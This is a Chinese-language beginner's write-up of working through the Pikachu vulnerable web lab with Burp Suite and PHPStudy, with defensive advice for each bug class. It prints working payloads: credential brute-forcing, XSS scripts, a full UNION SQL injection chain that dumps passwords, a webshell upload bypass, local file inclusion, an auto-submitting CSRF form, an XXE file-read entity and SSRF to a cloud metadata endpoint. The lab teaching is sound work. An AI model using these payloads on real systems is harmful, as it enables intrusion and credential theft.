从Pikachu靶场通关看Web安全实战:一个新手如何用Burp Suite和PHPStudy复现所有漏洞(附完整Payload)
从Pikachu靶场通关看Web安全实战:新手如何用Burp Suite和PHPStudy复现漏洞
第一次打开Pikachu靶场时,面对密密麻麻的漏洞类型列表,我完全不知道从何下手。作为一个刚接触Web安全的新手,那些专业术语和Payload看起来就像天书。但经过两周的实战摸索,我发现只要掌握正确的方法,每个漏洞都能被拆解成可理解的模块。本文将分享我是如何从零开始,逐步攻克这个经典靶场的完整过程。
1. 环境搭建与工具准备
在开始实战前,确保你的本地环境已经正确配置。我使用的是Windows 10系统,配合PHPStudy搭建的Apache+MySQL环境。以下是关键组件的版本信息:
| 工具名称 | 版本号 | 作用说明 |
|---|---|---|
| PHPStudy | 8.1.0.3 | 本地Web服务器集成环境 |
| Burp Suite | 2023.6.2 | 抓包与漏洞利用工具 |
| Pikachu靶场 | v1.0 | Web安全实战训练平台 |
安装过程中最容易出错的环节是PHPStudy的端口冲突问题。如果遇到Apache无法启动的情况,可以尝试以下命令排查:
netstat -ano | findstr "80" taskkill /PID [占用进程ID] /FBurp Suite的配置需要特别注意代理设置。在Proxy→Options选项卡中,确保添加了监听地址127.0.0.1:8080,并在浏览器中安装CA证书。我最初因为证书问题导致HTTPS流量无法解密,后来通过以下步骤解决:
- 访问
http://burp下载证书 - 在浏览器证书管理器导入证书
- 勾选"信任此证书颁发机构"
提示:Burp的拦截功能(Intercept)默认是开启状态,新手常会困惑为什么页面加载卡住,记得在不需要时关闭拦截开关。
2. 暴力破解漏洞实战解析
2.1 基础表单爆破
这是Pikachu靶场最简单的漏洞类型,但蕴含了暴力破解的核心原理。通过Burp抓取登录请求后,我发现了三个关键点:
- 请求体中直接包含明文用户名和密码
- 服务器响应长度随认证结果变化
- 无任何频率限制或锁定机制
具体操作流程:
- 在靶场页面输入任意凭证(如test/123)
- 通过Burp捕获
POST /vul/burteforce/bf_form.php请求 - 右键选择
Send to Intruder - 在
Positions标签设置爆破点为username和password字段 - 加载常用字典(如
rockyou.txt精简版)
POST /vul/burteforce/bf_form.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded username=§test§&password=§123§&submit=Login爆破成功后,通过对比响应长度(Length列)即可识别有效凭证。这个案例让我理解了为什么弱密码策略如此危险——没有防护的登录接口就像不上锁的大门。
2.2 验证码绕过技巧
当遇到验证码防护时,新手往往会束手无策。Pikachu靶场设计了两种典型的验证码漏洞:
服务器端验证码复用(on server)
- 关键缺陷:验证通过后未销毁session中的验证码值
- 利用方法:保持Burp捕获的原始验证码参数不变,直接进行爆破
客户端验证码校验(on client)
- 关键缺陷:仅依赖前端JavaScript验证
- 利用方法:删除请求中的vcode参数或置空
注意:现代网站更多采用图形验证码+Token的双重防护,单纯的验证码已不能提供足够安全性。
3. XSS漏洞深度剖析
3.1 反射型XSS的攻防演变
在反射型XSS(get)关卡,我首次遇到了前端长度限制。通过Chrome开发者工具(F12)修改input标签的maxlength属性后,成功注入经典payload:
<script>alert(document.cookie)</script>但更值得关注的是源码层面的缺陷。查看vul/xss/xss_reflected_get.php发现:
<?php $message = $_GET['message']; echo '<div>'.$message.'</div>'; ?>这种直接将用户输入拼接进HTML的做法,是XSS漏洞的典型根源。防御方案至少应包括:
- 使用
htmlspecialchars()函数转义 - 设置Content Security Policy(CSP)头
- 实施输入白名单过滤
3.2 存储型XSS的持久化威胁
存储型XSS与反射型的最大区别在于恶意脚本会被保存到数据库。在Pikachu靶场中,我使用了图片标签的payload:
<img src=1 onerror=alert(1)>这种攻击的危害性更大,因为所有访问受影响页面的用户都会中招。通过Burp观察到的请求流程:
- 提交含XSS代码的留言
- 服务器将内容存入数据库
- 其他用户查看留言时自动加载恶意脚本
防御这类攻击需要在数据存储前进行净化处理,推荐使用OWASP的AntiSamy等专业过滤库。
4. SQL注入实战技巧
4.1 数字型注入的完整利用链
Pikachu的数字型注入点出现在下拉菜单,需要通过Burp修改参数。我的手工注入过程如下:
- 探测注入点:
id=1'引发错误→存在注入 - 判断类型:
id=2-1返回与id=1相同→数字型 - 查字段数:
order by 2成功→order by 3失败→2个字段 - 联合查询:
id=-1 union select 1,2-- -确定回显位 - 获取信息:
id=-1 union select user(),database()-- -
-- 获取表名 id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - -- 获取users表字段 id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- - -- 提取账号密码 id=-1 union select group_concat(username),group_concat(password) from users-- -4.2 字符型注入的特殊处理
字符型注入需要处理引号闭合问题。在Pikachu的搜索型注入关卡,有效payload为:
allen' and 1=1-- -这里的单引号用于闭合原SQL语句中的引号,注释符-- -用于忽略后续语法。这种注入的防御必须使用参数化查询,而非简单的字符串转义。
5. 文件上传与包含漏洞
5.1 绕过客户端校验
Pikachu的客户端校验关卡演示了前端验证的不可靠性。我的绕过步骤:
- 准备PHP webshell文件
- 重命名为
shell.png - 上传时通过Burp修改文件名回
shell.php - 访问上传路径执行代码
POST /vul/unsafeupload/clientcheck.php HTTP/1.1 ... Content-Disposition: form-data; name="uploadfile"; filename="shell.php"5.2 文件包含的利用技巧
本地文件包含(LFI)漏洞允许读取系统敏感文件。通过路径遍历成功获取了系统信息:
http://localhost/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts更危险的是,如果服务器同时存在文件上传功能,可以上传包含PHP代码的图片,然后通过LFI执行:
http://localhost/vul/fileinclude/fi_local.php?filename=./uploads/malicious.jpg防御措施包括:
- 禁用
allow_url_include - 严格限制包含路径
- 使用白名单校验包含文件
6. CSRF与越权漏洞实战
6.1 CSRF攻击的自动化生成
Burp Suite的CSRF PoC生成器极大简化了攻击流程。在Pikachu的CSRF(post)关卡:
- 捕获修改个人信息的POST请求
- 右键选择
Engagement tools→Generate CSRF PoC - 生成的HTML页面包含自动提交表单
- 诱使受害者访问该页面即完成攻击
<form action="http://localhost/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="hacker" /> <input type="hidden" name="phonenum" value="123456789" /> <input type="hidden" name="add" value="hacker" /> <input type="hidden" name="email" value="hacker@example.com" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script>6.2 越权访问的两种形态
水平越权案例中,仅修改URL中的username参数就能查看他人信息:
http://localhost/vul/overpermission/op1/op1_mem.php?username=lucy垂直越权更危险,普通用户通过直接访问管理员URL获得了特权功能:
http://localhost/vul/overpermission/op2/op2_admin_edit.php防御越权的关键是实施严格的权限校验,遵循最小权限原则。每个请求都应验证:
- 当前用户身份
- 请求的资源所属
- 操作权限级别
7. 其他关键漏洞类型
7.1 XXE漏洞的利用与防御
XML外部实体(XXE)漏洞允许读取本地文件甚至实现SSRF。Pikachu的payload示例:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]> <user><username>&xxe;</username></user>防御措施包括:
- 禁用DTD外部实体
- 使用
libxml_disable_entity_loader(true) - 验证XML输入结构
7.2 SSRF的利用场景
服务器端请求伪造(SSRF)可以探测内网服务。通过修改URL参数成功获取了百度首页:
http://localhost/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com更危险的利用是访问内网元数据服务:
http://169.254.169.254/latest/meta-data/防御SSRF需要:
- 过滤所有用户提供的URL
- 禁用非常用协议(如file://, gopher://)
- 设置请求目标白名单
8. 防御体系构建建议
经过Pikachu靶场的全面实战,我总结出Web应用安全的几个核心防御层:
输入验证层:所有用户输入都应视为不可信数据
- 实施白名单校验
- 严格类型转换
- 边界值检查
输出编码层:根据输出上下文采用不同编码
- HTML实体编码(
& -> &) - JavaScript Unicode转义
- URL百分号编码
- HTML实体编码(
安全配置层:
// PHP安全配置示例 ini_set('session.cookie_httponly', 1); ini_set('session.cookie_secure', 1); header("Content-Security-Policy: default-src 'self'");权限控制层:
- 基于角色的访问控制(RBAC)
- 业务逻辑权限校验
- 敏感操作二次认证
在后续的真实项目审计中,我养成了从这三个维度系统化分析漏洞的习惯,而不再是零散地测试单个攻击点。这种结构化思维才是安全工程师的核心能力。
